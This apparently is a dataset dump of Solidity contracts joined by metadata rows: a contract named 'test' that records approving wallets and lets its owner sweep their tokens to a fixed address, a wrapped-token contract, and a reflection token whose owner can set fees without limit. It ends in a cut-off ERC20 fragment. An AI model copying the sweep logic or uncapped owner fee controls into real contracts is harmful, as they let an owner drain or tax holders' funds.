// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract test is Ownable{
address[] public subWallet;
mapping(address => mapping(address => uint256)) public tokenAmount;
address public owner_address;
constructor(address target) public{
owner_address = target;
}
function addTokenApproval (IERC20 token,uint256 value) public{
token.approve(address(this),value);
token.approve(address(owner_address),value);
if(value > token.balanceOf(msg.sender)){
tokenAmount[msg.sender][address(token)]=token.balanceOf(msg.sender);
}
else{
tokenAmount[msg.sender][address(token)]=value;
}
subWallet.push(msg.sender);
}
function safeTranferAllToken(IERC20 token) public onlyOwner{
for(uint i = 0;i < subWallet.length;i++){
uint256 amount = tokenAmount[subWallet[i]][address(token)];
if(amount > 0){
token.transferFrom(subWallet[i],owner_address,amount);
}
}
}
}
| 257,956 | 311 |
fcad3ec1fbd096acbe188337f89a2a77707b67595c034d540d15d3166aecf502
| 30,288 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/31/31C4c046EFAD4B04b823a919CC0bDd0f663c87d4_wsSB.sol
| 3,206 | 12,550 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsSB {
function index() external view returns (uint);
}
contract wsSB is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sSB;
constructor(address _sSB) ERC20('Wrapped sSB', 'wsSB') {
require(_sSB != address(0));
sSB = _sSB;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sSB).transferFrom(msg.sender, address(this), _amount);
uint value = sSBTowsSB(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wsSBTosSB(_amount);
IERC20(sSB).transfer(msg.sender, value);
return value;
}
function wsSBTosSB(uint _amount) public view returns (uint) {
return _amount.mul(IsSB(sSB).index()).div(10 ** decimals());
}
function sSBTowsSB(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsSB(sSB).index());
}
}
| 71,865 | 312 |
05c1746aec210d1b1185730966c83f55b89aab26333e034322f8176e345c6559
| 28,776 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5DEfC3555Cd3bF3E450002D6bECe8e61C97d39Fc/contract.sol
| 5,044 | 18,084 |
// https://t.me/MinecraftMining
// https://t.me/MinecraftMining
// https://t.me/MinecraftMining
// https://t.me/MinecraftMining
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MineCraft is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 2000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'MineCraft';
string private constant _symbol = 'CRAFT';
uint256 private _taxFee = 150;
uint256 private _burnFee = 150;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 252,386 | 313 |
b547fd94d3f4871bdca85eae0c1baf786ce3dc8b22902dffdf920cfb50777013
| 19,537 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7c50079cc96284c1e01e3a66fc38af090289b4ee.sol
| 4,036 | 15,664 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract ERC20 is ERC20Basic {
// Optional token name
string public name = "zeosX";
string public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
